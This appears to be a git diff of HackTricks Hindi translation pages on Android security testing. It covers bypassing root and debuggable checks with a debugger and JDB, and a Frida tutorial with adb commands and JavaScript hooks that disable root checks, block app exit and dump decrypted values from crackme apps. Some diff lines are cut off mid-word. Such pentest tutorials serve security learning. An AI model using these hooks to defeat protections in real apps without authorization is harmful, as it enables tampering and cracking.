* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# **रूट और डीबग की जांच को छलकरना**
|
# **रूट और डिबग करने योग्य जांचों को बायपास करना**
|
||||||
|
|
||||||
इस पोस्ट का यह खंड [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) से एक सारांश है।
|
This section of the post is a summary from the post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||||
|
|
||||||
## एंड्रॉइड एप्लिकेशन को डीबग करने और जांच को छलकरने के चरण
|
## Android ऐप को डिबग करने योग्य बनाने के लिए कदम
|
||||||
|
|
||||||
### **ऐप को डीबग करना**
|
### **ऐप को डिबग करने योग्य बनाना**
|
||||||
|
|
||||||
https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 पर आधारित सामग्री
|
Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
|
||||||
|
|
||||||
1. **APK को डिकॉम्पाइल करें:**
|
1. **APK को डिकंपाइल करें:**
|
||||||
- APK को डिकॉम्पाइल करने के लिए APK-GUI टूल का उपयोग करें।
|
- APK को डिकंपाइल करने के लिए APK-GUI टूल का उपयोग करें।
|
||||||
- _android-manifest_ फ़ाइल में, `android:debuggable=true` डालें ताकि डीबगिंग मोड सक्षम हो।
|
- _android-manifest_ फ़ाइल में, डिबगिंग मोड सक्षम करने के लिए `android:debuggable=true` डालें।
|
||||||
- संशोधित एप्लिकेशन को पुनः कॉम्पाइल, साइन करें, और zipalign करें।
|
- संशोधित एप्लिकेशन को फिर से संकलित करें, साइन करें और ज़िपलाइन करें।
|
||||||
|
|
||||||
2. **संशोधित एप्लिकेशन को इंस्टॉल करें:**
|
2. **संशोधित एप्लिकेशन स्थापित करें:**
|
||||||
- निम्नलिखित कमांड का उपयोग करें: `adb install <application_name>`।
|
- कमांड का उपयोग करें: `adb install <application_name>`।
|
||||||
|
|
||||||
3. **पैकेज नाम प्राप्त करें:**
|
3. **पैकेज नाम प्राप्त करें:**
|
||||||
- तीसरे पक्षीय एप्लिकेशनों की सूची और पैकेज नाम खोजने के लिए `adb shell pm list packages –3` का निष्पादन करें।
|
- तीसरे पक्ष के अनुप्रयोगों की सूची बनाने और पैकेज नाम खोजने के लिए `adb shell pm list packages –3` चलाएँ।
|
||||||
|
|
||||||
4. **ऐप को डीबगर कनेक्शन के लिए इंतजार करने के लिए सेट करें:**
|
4. **ऐप को डिबगर कनेक्शन की प्रतीक्षा करने के लिए सेट करें:**
|
||||||
- कमांड: `adb shell am setup-debug-app –w <package_name>`।
|
- कमांड: `adb shell am setup-debug-app –w <package_name>`।
|
||||||
- **नोट:** इस कमांड को प्रत्येक बार चलाया जाना चाहिए पहले एप्लिकेशन को शुरू करने से पहले ताकि यह डीबगर का इंतजार करे।
|
- **नोट:** यह कमांड हर बार एप्लिकेशन शुरू करने से पहले चलानी चाहिए ताकि यह डिबगर की प्रतीक्षा करे।
|
||||||
- स्थायित्व के लिए, `adb shell am setup-debug-app –w -–persistent <package_name>` का उपयोग करें।
|
- स्थिरता के लिए, `adb shell am setup-debug-app –w -–persistent <package_name>` का उपयोग करें।
|
||||||
- सभी झंडे हटाने के लिए, `adb shell am clear-debug-app <package_name>` का उपयोग करें।
|
- सभी फ्लैग हटाने के लिए, `adb shell am clear-debug-app <package_name>` का उपयोग करें।
|
||||||
|
|
||||||
5. **Android Studio में डीबगिंग के लिए तैयारी करें:**
|
5. **Android Studio में डिबगिंग के लिए तैयार करें:**
|
||||||
- Android Studio में जाएं _File -> Open Profile or APK_ में।
|
- Android Studio में _File -> Open Profile or APK_ पर जाएँ।
|
||||||
- पुनः कॉम्पाइल किया गया APK खोलें।
|
- पुनः संकलित APK खोलें।
|
||||||
|
|
||||||
6. **मुख्य जावा फ़ाइलों में ब्रेकपॉइंट सेट करें:**
|
6. **मुख्य जावा फ़ाइलों में ब्रेकपॉइंट सेट करें:**
|
||||||
- `MainActivity.java` (विशेष रूप से `onCreate` विधि में), `b.java`, और `ContextWrapper.java` में ब्रेकपॉइंट रखें।
|
- `MainActivity.java` (विशेष रूप से `onCreate` विधि में), `b.java`, और `ContextWrapper.java` में ब्रेकपॉइंट रखें।
|
||||||
|
|
||||||
### **जांच को छलकरना**
|
### **जांचों को बायपास करना**
|
||||||
|
|
||||||
एप्लिकेशन, कुछ समयों पर, यह सत्यापित करेगा कि यह डीबग करने योग्य है और रूटेड डिवाइस की निर्देशक भी जांचेगा। डीबगर का उपयोग करके ऐप जानकारी को संशोधित करने, डीबग करने योग्य बिट को असेट करने, और खोजी गई बाइनरी के नामों को बदलने के लिए उपयोग किया जा सकता है ताकि इन जांचों को छलकर सकें।
|
ऐपlication, कुछ बिंदुओं पर, यह सत्यापित करेगा कि यह डिबग करने योग्य है और यह रूटेड डिवाइस को इंगित करने वाले बाइनरी की भी जांच करेगा। डिबगर का उपयोग ऐप जानकारी को संशोधित करने, डिबग करने योग्य बिट को अनसेट करने और खोजे गए बाइनरी के नामों को बदलने के लिए किया जा सकता है ताकि इन जांचों को बायपास किया जा सके।
|
||||||
|
|
||||||
डीबग की जांच के लिए:
|
डिबग करने योग्य जांच के लिए:
|
||||||
|
|
||||||
1. **झंडे की सेटिंग संशोधित करें:**
|
1. **फ्लैग सेटिंग्स को संशोधित करें:**
|
||||||
- डीबगर कंसोल के वेरिएबल सेक्शन में जाएं: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`।
|
- डिबगर कंसोल के वेरिएबल सेक्शन में जाएँ: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`।
|
||||||
- **नोट:** `flags = 814267974` का बाइनरी प्रतिनिधित्व `11000011100111011110` है, जिससे पता चलता है कि "Flag_debuggable" सक्रिय है।
|
- **नोट:** `flags = 814267974` का बाइनरी प्रतिनिधित्व `11000011100111011110` है, जो इंगित करता है कि "Flag_debuggable" सक्रिय है।
|
||||||
|
|
||||||
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||||
|
|
||||||
ये कदम समूह में एकत्रित करते हैं कि ऐप्लिकेशन को डीबग किया जा सकता है और डीबगर का उपयोग करके कुछ सुरक्षा जांचों को छलकर सकते हैं, जो ऐप्लिकेशन के व्यवहार का अधिक विश्लेषण या संशोधन सुनिश्चित करता है।
|
ये कदम सामूहिक रूप से सुनिश्चित करते हैं कि एप्लिकेशन को डिबग किया जा सके और कि कुछ सुरक्षा जांचों को डिबगर का उपयोग करके बायपास किया जा सके, जिससे एप्लिकेशन के व्यवहार का अधिक गहन विश्लेषण या संशोधन किया जा सके।
|
||||||
|
|
||||||
कदम 2 में एक झंडे की मान को 814267972 में बदलने की आवश्यकता है, जो बाइनरी रूप में 110000101101000000100010100 के रूप में प्रतिनिधित्व किया जाता है।
|
चरण 2 में फ्लैग मान को 814267972 में बदलना शामिल है, जो बाइनरी में 110000101101000000100010100 के रूप में दर्शाया गया है।
|
||||||
|
|
||||||
# **एक सुरक्षा दोष का शोधन**
|
# **एक भेद्यता का शोषण करना**
|
||||||
|
|
||||||
एक विकल्प प्रदान किया गया था जिसमें एक वंशी एप्लिकेशन का उपयोग किया गया जिसमें एक बटन और एक टेक्स्टव्यू था। प्रारंभ में, एप्लिकेशन "Crack Me" प्रदर्शित करता है। लक्ष्य है कि स्रोत कोड को संशोधित किए बिना "Try Again" संदेश को "Hacked" में रनटाइम में बदलें।
|
एक कमजोर एप्लिकेशन का प्रदर्शन किया गया जिसमें एक बटन और एक टेक्स्टव्यू था। प्रारंभ में, एप्लिकेशन "Crack Me" प्रदर्शित करता है। लक्ष्य रनटाइम पर "Try Again" से "Hacked" संदेश को बदलना है, बिना स्रोत कोड को संशोधित किए।
|
||||||
|
|
||||||
## **दोष की जांच करना**
|
## **भेद्यता की जांच करना**
|
||||||
- एप्लिकेशन को `apktool` का उपयोग करके डिकॉम्पाइल किया गया था ताकि `AndroidManifest.xml` फ़ाइल तक पहुंचा जा सके।
|
- एप्लिकेशन को `apktool` का उपयोग करके डिकंपाइल किया गया ताकि `AndroidManifest.xml` फ़ाइल तक पहुँच प्राप्त की जा सके।
|
||||||
- `AndroidManifest.xml` में `android_debuggable="true"` की उपस्थिति यह सूचित करती है कि एप्लिकेशन डीबग करने योग्य है और छलांग के लिए संवेदनशील है।
|
- AndroidManifest.xml में `android_debuggable="true"` की उपस्थिति यह संकेत करती है कि एप्लिकेशन डिबग करने योग्य है और शोषण के लिए संवेदनशील है।
|
||||||
- यह ध्यान देने योग्य है कि `apktool` का उपयोग केवल कोड को संशोधित किए बिना डीबग करने योग्य स्थिति की जांच के लिए किया गया था।
|
- यह ध्यान देने योग्य है कि `apktool` का उपयोग केवल डिबग करने योग्य स्थिति की जांच के लिए किया जाता है बिना किसी कोड को बदले।
|
||||||
|
|
||||||
## **सेटअप की तैयारी**
|
## **सेटअप तैयार करना**
|
||||||
- इस प्रक्रिया में एम्युलेटर प्रारंभ करना, वंशी एप्लिकेशन को इंस्टॉल करना, और `adb jdwp` का उपयोग करके डलविक वीएम पोर्ट्स की पहचान करना शामिल था।
|
- प्रक्रिया में एक एमुलेटर शुरू करना, कमजोर एप्लिकेशन स्थापित करना, और `adb jdwp` का उपयोग करके सुनने वाले डेलविक वीएम पोर्ट की पहचान करना शामिल था।
|
||||||
- JDWP (जावा डीबग वायर प्रोटोकॉल) एक अद्वितीय पोर्ट को उजागर करके वीएम में चल रहे एप्लिकेशन की डीबगिंग की अनुमति देता है।
|
- JDWP (Java Debug Wire Protocol) एक वीएम में चल रहे एप्लिकेशन को डिबग करने की अनुमति देता है, एक अद्वितीय पोर्ट को उजागर करके।
|
||||||
- दूरस्थ डीबगिंग के लिए पोर्ट फॉरवार्डिंग आवश्यक था, जिसके बाद लक्षित एप्लिकेशन को जेडीबी से जोड़ने की आवश्यकता थी।
|
- दूरस्थ डिबगिंग के लिए पोर्ट फॉरवर्डिंग आवश्यक थी, इसके बाद JDB को लक्षित एप्लिकेशन से जोड़ा गया।
|
||||||
|
|
||||||
## **रनटाइम पर कोड इंजेक्शन**
|
## **रनटाइम पर कोड इंजेक्ट करना**
|
||||||
- छलांग को सेट करके और एप्लिकेशन के फ्लो को नियंत्रित करके छलांग किया गया था।
|
- शोषण ब्रेकपॉइंट सेट करके और एप्लिकेशन के प्रवाह को नियंत्रित करके किया गया।
|
||||||
- `classes` और `methods <class_name>` जैसे कमांड्स का उपयोग किया गया था ताकि एप्लिकेशन की संरचना का पता चल सके।
|
- एप्लिकेशन की संरचना को उजागर करने के लिए `classes` और `methods <class_name>` जैसे कमांड का उपयोग किया गया।
|
||||||
- `onClick` विधि पर एक ब्रेकपॉइंट सेट किया गया था, और इसका नियंत्रण किया गया था।
|
- `onClick` विधि पर एक ब्रेकपॉइंट सेट किया गया, और इसके निष्पादन को नियंत्रित किया गया।
|
||||||
- `locals`, `next`, और `set` कमांड्स का उपयोग किया गया था ताकि स्थानीय चरों की जांच और संशोधन किया जा सके, विशेष रूप से "Try Again" संदेश को "Hacked" में बदलने के लिए।
|
- स्थानीय वेरिएबल्स का निरीक्षण और संशोधन करने के लिए `locals`, `next`, और `set` कमांड का उपयोग किया गया, विशेष रूप से "Try Again" संदेश को "Hacked" में बदलने के लिए।
|
||||||
- संशो
|
- संशोधित कोड को `run` कमांड का उपयोग करके निष्पादित किया गया, सफलतापूर्वक एप्लिकेशन के आउटपुट को वास्तविक समय में बदल दिया गया।
|
||||||
|
|
||||||
|
इस उदाहरण ने दिखाया कि कैसे एक डिबग करने योग्य एप्लिकेशन के व्यवहार को हेरफेर किया जा सकता है, एप्लिकेशन के संदर्भ में डिवाइस पर शेल एक्सेस प्राप्त करने जैसे अधिक जटिल शोषण की संभावनाओं को उजागर किया।
|
||||||
|
|
||||||
|
## References
|
||||||
|
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||||
|
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,22 +1,23 @@
|
||||||
# फ्रिडा ट्यूटोरियल
|
# Frida Tutorial
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**बग बाउंटी टिप**: **साइन अप करें** Intigriti के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा बनाई गई है**! आज हमारे साथ शामिल हों [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks), और शुरू करें बाउंटी अप तक **$100,000** तक कमाना!
|
**बग बाउंटी टिप**: **Intigriti** के लिए **साइन अप करें**, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक की बाउंटी कमाना शुरू करें!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -27,47 +28,49 @@ HackTricks का समर्थन करने के अन्य तरी
|
||||||
pip install frida-tools
|
pip install frida-tools
|
||||||
pip install frida
|
pip install frida
|
||||||
```
|
```
|
||||||
**एंड्रॉइड में डाउनलोड और इंस्टॉल करें** फ्रिडा सर्वर ([नवीनतम रिलीज़ डाउनलोड करें](https://github.com/frida/frida/releases))।\
|
**एंड्रॉइड में** **फ्रिडा सर्वर** **डाउनलोड और इंस्टॉल करें** ([नवीनतम रिलीज़ डाउनलोड करें](https://github.com/frida/frida/releases)).\
|
||||||
एक-लाइनर एडीबी को रूट मोड में पुनः आरंभ करने, इससे कनेक्ट करने, फ्रिडा-सर्वर अपलोड करने, एक्ज़ेक्यूशन अनुमतियाँ देने और बैकग्राउंड में चलाने के लिए:
|
रूट मोड में adb को पुनः प्रारंभ करने, इससे कनेक्ट करने, frida-server अपलोड करने, कार्यान्वयन अनुमतियाँ देने और इसे बैकग्राउंड में चलाने के लिए एक-लाइनर:
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
**जांचें** कि क्या यह **काम कर रहा है**:
|
**जांचें** कि यह **काम कर रहा है**:
|
||||||
```bash
|
```bash
|
||||||
frida-ps -U #List packages and processes
|
frida-ps -U #List packages and processes
|
||||||
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
|
||||||
```
|
```
|
||||||
## ट्यूटोरियल
|
## Tutorials
|
||||||
|
|
||||||
### [ट्यूटोरियल 1](frida-tutorial-1.md)
|
### [Tutorial 1](frida-tutorial-1.md)
|
||||||
|
|
||||||
**स्रोत**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
|
||||||
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
|
||||||
**स्रोत कोड**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
|
||||||
|
|
||||||
**[इसे पढ़ने के लिए लिंक पर जाएं](frida-tutorial-1.md).**
|
**Follow the [link to read it](frida-tutorial-1.md).**
|
||||||
|
|
||||||
### [ट्यूटोरियल 2](frida-tutorial-2.md)
|
### [Tutorial 2](frida-tutorial-2.md)
|
||||||
|
|
||||||
**स्रोत**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (भाग 2, 3 और 4)\
|
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
|
||||||
**APK और स्रोत कोड**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||||
|
|
||||||
**[इसे पढ़ने के लिए लिंक पर जाएं.](frida-tutorial-2.md)**
|
**Follow the[ link to read it.](frida-tutorial-2.md)**
|
||||||
|
|
||||||
### [ट्यूटोरियल 3](owaspuncrackable-1.md)
|
### [Tutorial 3](owaspuncrackable-1.md)
|
||||||
|
|
||||||
**स्रोत**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
|
||||||
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
|
||||||
|
|
||||||
**[इसे पढ़ने के लिए लिंक पर जाएं](owaspuncrackable-1.md).**
|
**Follow the [link to read it](owaspuncrackable-1.md).**
|
||||||
|
|
||||||
**आप यहाँ अधिक शानदार फ्रिडा स्क्रिप्ट पा सकते हैं:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||||
|
|
||||||
## त्वरित उदाहरण
|
## Quick Examples
|
||||||
|
|
||||||
### कमांड लाइन से फ्रिडा को कॉल करना
|
### Calling Frida from command line
|
||||||
```bash
|
```bash
|
||||||
frida-ps -U
|
frida-ps -U
|
||||||
|
|
||||||
|
@ -80,7 +83,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
|
||||||
#frozen so that the instrumentation can occur, and the automatically
|
#frozen so that the instrumentation can occur, and the automatically
|
||||||
#continue execution with our modified code.
|
#continue execution with our modified code.
|
||||||
```
|
```
|
||||||
### मूल Python स्क्रिप्ट
|
### बेसिक पायथन स्क्रिप्ट
|
||||||
```python
|
```python
|
||||||
import frida, sys
|
import frida, sys
|
||||||
|
|
||||||
|
@ -91,9 +94,9 @@ print('[ * ] Running Frida Demo application')
|
||||||
script.load()
|
script.load()
|
||||||
sys.stdin.read()
|
sys.stdin.read()
|
||||||
```
|
```
|
||||||
### पैरामीटर बिना फ़ंक्शन हुक करना
|
### बिना पैरामीटर के फ़ंक्शन को हुक करना
|
||||||
|
|
||||||
कक्षा `sg.vantagepoint.a.c` के फ़ंक्शन `a()` को हुक करें
|
क्लास `sg.vantagepoint.a.c` के फ़ंक्शन `a()` को हुक करें
|
||||||
```javascript
|
```javascript
|
||||||
Java.perform(function () {
|
Java.perform(function () {
|
||||||
; rootcheck1.a.overload().implementation = function() {
|
; rootcheck1.a.overload().implementation = function() {
|
||||||
|
@ -103,22 +106,14 @@ return false;
|
||||||
};
|
};
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
### Translate to Hindi:
|
Hook java `exit()`
|
||||||
|
|
||||||
### Hook java `exit()`
|
|
||||||
|
|
||||||
### जावा `exit()` को हुक करें
|
|
||||||
```javascript
|
```javascript
|
||||||
var sysexit = Java.use("java.lang.System");
|
var sysexit = Java.use("java.lang.System");
|
||||||
sysexit.exit.overload("int").implementation = function(var_0) {
|
sysexit.exit.overload("int").implementation = function(var_0) {
|
||||||
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### Translate to Hindi:
|
Hook MainActivity `.onStart()` & `.onCreate()`
|
||||||
|
|
||||||
### Hook MainActivity `.onStart()` & `.onCreate()`
|
|
||||||
|
|
||||||
एमेन एक्टिविटी के `.onStart()` और `.onCreate()` को हुक करें
|
|
||||||
```javascript
|
```javascript
|
||||||
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
|
||||||
mainactivity.onStart.overload().implementation = function() {
|
mainactivity.onStart.overload().implementation = function() {
|
||||||
|
@ -130,9 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
|
||||||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### Frida Tutorial: Hook android `.onCreate()`
|
Hook android `.onCreate()`
|
||||||
|
|
||||||
एंड्रॉयड `.onCreate()` को हुक करें
|
|
||||||
```javascript
|
```javascript
|
||||||
var activity = Java.use("android.app.Activity");
|
var activity = Java.use("android.app.Activity");
|
||||||
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
|
||||||
|
@ -140,9 +133,9 @@ send("Activity HIT!!!");
|
||||||
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### पैरामीटर के साथ फंक्शन को हुक करना और मान प्राप्त करना
|
### पैरामीटर के साथ फ़ंक्शन को हुक करना और मान प्राप्त करना
|
||||||
|
|
||||||
एक डिक्रिप्शन फंक्शन को हुक करना। इनपुट प्रिंट करें, मूल फंक्शन को कॉल करें, इनपुट को डिक्रिप्ट करें और अंत में, प्लेन डेटा प्रिंट करें:
|
एक डिक्रिप्शन फ़ंक्शन को हुक करना। इनपुट प्रिंट करें, मूल फ़ंक्शन को कॉल करें, इनपुट को डिक्रिप्ट करें और अंत में, प्लेन डेटा प्रिंट करें:
|
||||||
```javascript
|
```javascript
|
||||||
function getString(data){
|
function getString(data){
|
||||||
var ret = "";
|
var ret = "";
|
||||||
|
@ -167,9 +160,9 @@ send("Decrypted flag: " + flag);
|
||||||
return ret; //[B
|
return ret; //[B
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### फ़ंक्शन को हुक करना और हमारे इनपुट को उसमें कॉल करना
|
### फ़ंक्शंस को हुक करना और उन्हें हमारे इनपुट के साथ कॉल करना
|
||||||
|
|
||||||
एक फ़ंक्शन को हुक करें जो एक स्ट्रिंग प्राप्त करता है और उसे दूसरी स्ट्रिंग के साथ कॉल करें ([यहाँ से](https://11x256.github.io/Frida-hooking-android-part-2/))
|
एक फ़ंक्शन को हुक करें जो एक स्ट्रिंग प्राप्त करता है और इसे अन्य स्ट्रिंग के साथ कॉल करें (यहां से [here](https://11x256.github.io/Frida-hooking-android-part-2/))
|
||||||
```javascript
|
```javascript
|
||||||
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
|
||||||
|
|
||||||
|
@ -181,7 +174,11 @@ console.log("Return value: "+ret);
|
||||||
return ret;
|
return ret;
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
### किसी क्लास के पहले से बनाए गए ऑब्ज
|
### पहले से बनाए गए क्लास के ऑब्जेक्ट को प्राप्त करना
|
||||||
|
|
||||||
|
